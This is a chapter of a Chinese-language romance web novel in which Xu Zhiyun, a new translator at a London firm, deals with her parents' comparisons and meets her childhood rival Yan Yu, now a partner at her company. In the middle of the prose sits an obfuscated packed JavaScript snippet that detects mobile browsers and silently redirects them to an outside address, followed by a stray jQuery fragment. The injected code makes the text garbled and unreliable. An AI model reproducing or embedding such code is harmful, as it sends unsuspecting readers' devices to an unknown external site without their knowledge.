中文组的格子间里，许知韵的手机突然震了一下。
学长：【会议还有一会儿才结束，你稍微等我一下。】
大约每个打工人都痛恨下班前五分钟才叫人开会的上司，许知韵不太高兴地撇撇嘴，依然好脾气地回了句【好的】。
周五下午五点，是利德贺街一周里最堵的时候。
红红白白的车灯，从一眼望不到头的中央线银行站排过来，像一条被扼住了呼吸的巨蟒。
作为全欧洲，乃至于全球都知名的翻译界翘楚，TROSOL坐落于伦敦金融城的繁华地段。
许知韵仍然记得自己拿到这家offer的那天，高兴得从浴室裸奔出来，抱着室友嗷嗷叫了半个小时才平复。
如今想来，当时的激动虽说肯定有公司光环的功劳，但她也很难否认自己存着的另一份私心。
其实从研究生入学以来，许知韵就看上了系里那个比她大一届的学长。
学长来自港城一个小富的家庭，为人谦逊，成绩优秀，一毕业就进了全欧洲最大的翻译公司TROSOL。
也是从那时起，许知韵就把这所公司列为了自己毕业的首选。
如果她能顺利入选，那么除了收获一份实在不错的工作，那位学长还有非常大的可能，会成为她的入职导师。
后来事情的进展也确实如她所料，除了……
学长昨天突然被派了个in-house的驻场任务，时长取决于客户的项目，但至少在三个月往上。
这样一来，她的入职导师就要换人了。
不情愿归不情愿，许知韵没有反对高层决策的能耐，所以今晚她特地约了学长吃饭，决定无论如何，先给对方留下个千里姻缘慢慢牵的伏笔。
桌上手机忽然亮了起来。
是妈妈打来的视频。
现在这个时间，国内已经是凌晨一点，许知韵赶紧拿起手机，避到没有人的楼梯间。
电话接起，屏幕上出现两张红光满面的脸，爸爸和妈妈都在，一见她出现，两人便情绪高涨地叫了声“韵韵”。
许知韵赶紧戴上了耳机。
“听得到吗？”
“嗯。”许知韵点头，捂着嘴小声追问：“怎么这么晚打电话？是有什么急事……”
“你还记得以前住在老院子里的那个李珏吗？”没说完的话被妈妈的激动打断了。
“今天是她们家请客，小珏也真是有出息，今年国考考去了海关。那可是万里挑一的好工作，你说你要是当时不出国……”
“妈，”许知韵有点心烦地打断了妈妈。
和许多的中国父母一样，许知韵的爸妈也是从小就对她给予厚望，教育上更是倾尽全力，望女成凤。
她爸妈都是国企员工，许知韵小时候就是跟着一群孩子住在一个偌大的家属区。这样一来，父母之间免不得暗中攀比较劲。
今天是老张家的儿子拿了书法大奖被保送，明天是小李家的闺女考了年级第一，但无论是谁优秀，父母总要在赞赏别人的同时，不忘对她补上一句，“你看看人家。”
这些话许知韵听得多了，渐渐也产生了逆反，特别是在伦敦独自打拼了两年之后的今天。
许知韵有意拉开话题，问两人到，“外婆睡了吧？你们有空也可以教她用用视频电话，这样免得每次都要等你们。”
“哦，好。”妈妈随口应了，转而又投入到自己的话题，“当时那个大院里出来的孩子，我看就属李珏最争气。真羡慕她父母，能有个那么好的女儿，哎……”
这声意犹未尽的叹息很是微妙，许知韵一时语塞，视频也因此安静了两秒。
“哦，不对！”
另一头的妈妈完全没有察觉许知韵的情绪，自顾纠正，“我怎么把另一个忘了，以前住在咱家隔壁的那个严聿你还记得吧？这次去小珏的宴会，听原先的邻居说他现在可不得了！好像是毕业就去了欧盟还是英国外交部来着？李阿姨说前年英国首相的国事访问，身边跟着的翻译就是他，那首相叫啥来着……”
“鲍里斯·约翰逊。”
“哦对对对！就是他！”电话那头的人情绪激昂，还不忘确认，“是真的吗？”
许知韵可有可无地“嗯”了一声，之后，果然听到那句虽迟但到的，“都是做口译，你看看人家。”
妈妈的说教复盘年复一年，许知韵几次试图打断都无济于事。那些喋喋不休就像大圣耳边的紧箍咒，听得她太阳穴突突地跳。
“严聿早就不在外交部了！”
终于，许知韵憋足一口气，叫停了妈妈的唠叨。
“不在了？”对面愣了一瞬，显然不信，“你又不在外交部，你怎么会知道？”
许知韵头疼地揉了揉眉心，“他现在跟我在一个公司。”
话落，视频两边都安静了。
许知韵盯着屏幕上妈妈错愕的神情，快刀斩乱麻地道：“他去年从外交部辞职来了TROSOL，信息公开，公司官网上都能查到的。”
她囫囵地补充，“我这边还在开会，就先不说了，你们时间也晚了，早点休息。”
说完也不等那边告别，匆忙挂断了视频。
许久没有响动，声控灯熄了。不见阳光的楼梯间安静下来，漆黑一片，还残留着刚才通话的回响，萦绕在耳边，像一群嗡嗡乱飞的苍蝇。
不得不承认，从小到大，父母还真懂怎么摧毁她的好情绪——精准打击，从不落空，威力简直堪比三叉戟弹道导弹。
她有些疲惫地靠在楼梯扶手上，黑洞洞的视野，墙根处一点荧绿色逃生指示灯，思绪不自觉就回到了上周的新人入职茶歇。
其实刚才，许知韵刻意隐瞒了一些信息。
比如，父母口中的严聿，现在不叫严聿，他有个正儿八经的英文名，叫利奥·达西。
而且，他现在也不只是许知韵的同事，准确来说，也是TROSOL董事会高薪聘请的业务合伙人，持有英国公司10%的股份。
巧合的是，严聿是与许知韵这一批新人一道确认加入TROSOL的。她和公司里的其他员工一样，初次窥见首席翻译真容，就是在那场迎新的茶歇。
五十层的CBD凌空高楼，披着整座城市的初阳，深灰色西装的男人从人群后从容迈入会场，神情肃穆又冷峻，一身简单的单排扣套装，看得出刻意维持的低调，却被他穿出了造访唐宁街十号的气势，优雅沉稳，姿态浑然天成。
若不是细碎额发下，那道若隐若现的旧疤，许知韵简直不敢相信自己是在这八千多公里外的伦敦，偶遇了幼时的死对头。
“这位是翻译部中文组新入职的实习生，来自中国的Zinnia，许知韵。”人事总监琳达笑着跟严聿介绍。
“你好Zinnia。”
沉稳而干净的声音，疏朗有力。
许知韵愣了三秒，反应过来，她已经被对面的男人捉住了指尖。
也是那一天许知韵才知道，原来严聿来到英国后，就改了自己的名字，跟着英国的继父姓了达西。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949806|177503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是的，就是简·奥斯汀笔下Mr.Darcy的那个达西。
而这么多年过去，这位达西先生听着琳达对许知韵的介绍，全程礼貌疏离，分寸得当，就连最后的问候握手，也只是礼节性地碰了碰许知韵的指尖，仿佛两人真是初次见面的陌生人。
人模狗样。
这是许知韵看见严聿的第一反应。
她全程挂着得体的职业微笑，脑海里却全是小时候这人的欠揍模样。
大热的盛夏，许知韵因为没有考到年级第一被妈妈罚站在阳台，这人就偏要捧一本书在阳台看。
……谁家好人没事会在阳台看书啊？！
是家里没灯吗？
真是有病！
许知韵恨不能用翻着白眼的双眼皮夹死他。
而许知韵的父母还乐得为两人添油加火，在他们口中，严聿永远是那个“别人家的孩子”。
许知韵呢？就是那个哪儿哪儿都比不上人家的倒霉丑小鸭。
许知韵当然咽不下这口气，就开始联合院里的孩子一起孤立严聿。
可严聿本就是个淡漠的性子，年龄也比她大三岁，对她这种幼稚的伎俩根本懒得搭理。
于是两人就这么明里互不理睬，暗里相互攀比地一直较劲到许知韵去了外地读高中才算结束。
可如今八千公里，八十亿人，许知韵偏偏又遇到他，也不知该感叹命运的馈赠还是捉弄。
好在那天的见面过后，两人便再也没了交集。
作为一名新入职的菜鸟，许知韵安守本分，准时上班下班，在直属上司面前保持良好曝光，在上司的上司面前能隐则隐，就连上厕所和接水，都会刻意绕行，避免经过严聿的办公室。
严聿倒也没有为难或者刻意找她的麻烦，毕竟这么多年过去，大家都长大了，没有人会对以前那些幼稚的事情耿耿于怀。
况且严聿如今混到这个位置，许知韵觉得他大约也没有那么无聊——只要她保持低调，努力在他面前当个隐形人。
手里传来的轻震让许知韵回神，她看着漆黑周遭里亮起的手机屏幕。
学长：【会议结束了，你在哪里】
许知韵整理好神游的思绪，快速回复：【我刚接了个电话，现在回办公区。】
学长：【我刚在办公区找了一圈没见到你，就往楼下走了，要不我现在上来？】
许知韵本来想回一句算了，可是手上一顿，却回了句：【好呀～】
还不忘配上个撒娇星星眼的可爱小表情。
按下发送，许知韵倒是不着急了。
她先回到工位收拾了东西，又转去洗手间认真补了个底妆和口红，这才满意地转回中文组办公区，在外面的电梯口遇到了等候的学长。
“学长！”许知韵小跑过去，一双晶亮亮的眼睛弯弯地望向她，笑靥如花。
“你等久了吧？”她明知故问，在看见学长两只红红的耳朵后，笑得更是明媚。
“也没等很久。”学长故作镇定，却下意识回避她的视线，许知韵洞若观火。
“叮——”
电梯到达，学长上前一步，侧身为许知韵挡住洞开的门。
“部长？”
头顶响起学长略微惊诧的声音，许知韵抬头，正撞上电梯里那双清透疏远的深眸，不知怎的心口就跟着颤了一下，下意识想往后退。
然而电梯里的男人眼神落在她匆匆后撤的右脚，而后不动声色地挪步，恰好让出了两人的位置。
“下去吗？”他问。